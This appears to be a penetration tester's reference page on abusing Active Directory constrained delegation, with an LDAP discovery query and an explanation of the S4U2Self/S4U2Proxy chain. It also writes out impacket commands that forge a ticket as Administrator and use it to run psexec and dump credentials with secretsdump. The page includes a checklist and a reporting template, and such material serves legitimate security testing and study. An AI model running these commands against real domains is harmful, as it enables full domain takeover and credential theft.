☼
⌃
☰

Constrained Delegation

Table of Contents

An Active Directory delegation model allowing a service account to authenticate to specific other services on behalf of another user, without holding that user's credentials. Configured via the AllowedToDelegate (msDS-AllowedToDelegateTo) attribute on the delegating account, listing the exact SPNs it is permitted to impersonate users toward.

When compromised, this is a direct and often silent path to full domain compromise if the delegating account can impersonate a Domain Admin or the DC's own machine account.

Related: BloodHound Kerberoasting Pass the Ticket Active Directory Proxy CTF

1. Identifying Candidates

BloodHound is the standard discovery method — the AllowedToDelegate edge appears directly on the graph between a principal and the service(s)/host(s) it can impersonate users toward.

Manually, via LDAP:

SHELL
ldapsearch -x -H ldap://$DC -D "user@domain" -w 'password' \
  -b "dc=domain,dc=local" "(msDS-AllowedToDelegateTo=*)" \
  msDS-AllowedToDelegateTo

Constrained delegation is distinct from:

  • Unconstrained delegation — the account can impersonate a user to any service, and the user's full TGT is cached on that host (higher-severity, different attack path — TGT theft rather than ticket forgery)
  • Resource-Based Constrained Delegation (RBCD) — the trust is configured on the target resource rather than the delegating account (msDS-AllowedToActOnBehalfOfOtherIdentity), and is abusable even by an account with no delegation rights of its own if it can write that attribute on a target computer object

2. Exploitation — S4U2Self / S4U2Proxy

The abuse chain uses two Kerberos extensions together:

  • S4U2Self — lets the delegating account request a service ticket to itself, on behalf of an arbitrary target user (no target user credentials needed)
  • S4U2Proxy — uses that ticket to request a service ticket for one of the SPNs listed in AllowedToDelegateTo, still impersonating the target user

Practical effect: holding valid credentials for the delegating account is sufficient to obtain a ticket as any user (commonly Administrator) for any SPN in its allow-list.

SHELL
impacket-getST -spn <allowed_spn> -impersonate Administrator \
  <domain>/<delegating_account>:'<password>' -dc-ip $DC

Load and use the resulting ticket:

SHELL
export KRB5CCNAME=<ticket>.ccache
impacket-psexec -k -no-pass <target_host>
# or
impacket-secretsdump -k -no-pass <target_host>

3. Testing Methodology / Checklist

  • [ ] Run BloodHound collection with any valid domain credential
  • [ ] Check for AllowedToDelegate edges from any owned/compromised principal
  • [ ] Confirm which SPNs are in the allow-list — the ticket request will fail against an SPN not explicitly listed
  • [ ] Verify target hostname resolves properly (/etc/hosts if DNS isn't configured) — SPN matching is hostname-sensitive, IP alone will not work
  • [ ] If impersonating Administrator fails, check for Protected Users group membership or Account is sensitive and cannot be delegated flag on the target account — this blocks delegation abuse entirely regardless of the SPN allow-list

4. Reporting Template

Classification: Broken Access Control (Active Directory) — Constrained Delegation Abuse Severity: Critical — typically yields impersonation of any domain user, including Domain Admin, from a single compromised service account

Tips

  • Delegation misconfigurations are frequently on service accounts with weak passwords (as seen in Proxy CTF) — cracking a captured hash is often the actual bottleneck, not the delegation abuse itself once credentials are in hand
  • Always add the DC to /etc/hosts before attempting SPN-based ticket requests — Kerberos is hostname-based, not IP-based, and this is a common source of confusing failures
  • Check delegation rights on every compromised account, not just the first — BloodHound's edge list is easy to skim past if you're focused on a different attack path